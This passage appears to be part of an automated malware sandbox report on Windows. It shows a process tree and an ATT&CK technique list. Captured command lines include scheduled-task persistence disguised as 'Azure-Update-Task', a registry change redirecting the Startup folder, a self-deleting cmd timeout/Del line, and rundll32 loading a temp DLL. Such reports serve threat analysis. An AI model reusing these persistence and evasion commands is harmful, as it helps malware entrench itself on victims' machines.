        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=gpu-process --field-trial-handle=1576,10519675559800564363,5837033659896964521,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7944_1820973161" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2940 /prefetch:2
        5⤵
        
        PID:7292
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1576,10519675559800564363,5837033659896964521,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7944_1820973161" --mojo-platform-channel-handle=3668 /prefetch:8
        5⤵
        
        PID:7088
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1576,10519675559800564363,5837033659896964521,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7944_1820973161" --mojo-platform-channel-handle=3816 /prefetch:8
        5⤵
        
        PID:1324
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1576,10519675559800564363,5837033659896964521,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7944_1820973161" --mojo-platform-channel-handle=3824 /prefetch:8
        5⤵
        
        PID:7596
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1576,10519675559800564363,5837033659896964521,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7944_1820973161" --mojo-platform-channel-handle=2672 /prefetch:8
        5⤵
        
        PID:4188
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1576,10519675559800564363,5837033659896964521,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7944_1820973161" --mojo-platform-channel-handle=2028 /prefetch:8
        5⤵
        
        PID:7840
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoLogo -ExecutionPolicy AllSigned -Command "C:\Users\Admin\AppData\Local\Temp\AI_478D.ps1 -paths 'C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\file_deleter.ps1','C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe','C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites' -retry_count 10"
    3⤵
    PID:2892

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:4168
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:5840

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:6748
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:6768

C:\Users\Admin\AppData\Local\Temp\F159.exe
C:\Users\Admin\AppData\Local\Temp\F159.exe
1⤵
PID:6612

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall
1⤵
PID:5072
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{15cf5723-984a-5a41-8fc8-6b2d7def1319}\oemvista.inf" "9" "4d14a44ff" "0000000000000178" "WinSta0\Default" "000000000000017C" "208" "c:\program files (x86)\maskvpn\driver\win764"
  2⤵
  PID:228
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "000000000000016C"
  2⤵
  PID:2392

C:\Users\Admin\AppData\Local\Temp\1397.exe
C:\Users\Admin\AppData\Local\Temp\1397.exe
1⤵
PID:5840
- C:\Users\Admin\AppData\Local\Temp\bd1299733e\rnyuf.exe
  "C:\Users\Admin\AppData\Local\Temp\bd1299733e\rnyuf.exe"
  2⤵
  PID:6604
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR "C:\Users\Admin\AppData\Local\Temp\bd1299733e\rnyuf.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:5176
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\bd1299733e\
    3⤵
    PID:6616
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\bd1299733e\
      4⤵
      PID:4464

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc
1⤵
PID:4984

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
1⤵
PID:672

C:\Users\Admin\AppData\Local\Temp\5F38.exe
C:\Users\Admin\AppData\Local\Temp\5F38.exe
1⤵
PID:6288
- C:\Users\Admin\AppData\Local\Temp\N4qNj001kX.exe
  "C:\Users\Admin\AppData\Local\Temp\N4qNj001kX.exe"
  2⤵
  PID:7376
- - C:\Windows\SysWOW64\schtasks.exe
    /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe"
    3⤵
    - Creates scheduled task(s)
    PID:7640
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\5F38.exe"
  2⤵
  PID:7852
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:7408
- C:\Users\Admin\AppData\Local\Temp\Nn7syzBDaD.exe
  "C:\Users\Admin\AppData\Local\Temp\Nn7syzBDaD.exe"
  2⤵
  PID:7856
- - C:\Windows\SysWOW64\cmd.exe
    cmd /Q /C C:\Users\Admin\AppData\Local\Temp/s.bat
    3⤵
    PID:5056

C:\Users\Admin\AppData\Local\Temp\bd1299733e\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\bd1299733e\rnyuf.exe
1⤵
PID:2304

C:\Program Files (x86)\MaskVPN\mask_svc.exe
"C:\Program Files (x86)\MaskVPN\mask_svc.exe"
1⤵
PID:4828
- C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exe
  MaskVPNUpdate.exe /silent
  2⤵
  PID:7520

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:7220

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:7296

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7664

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7776

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7920

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:8076

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
PID:7832

C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe
1⤵
PID:7616

C:\Windows\system32\compattelrunner.exe
C:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW
1⤵
PID:3196

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery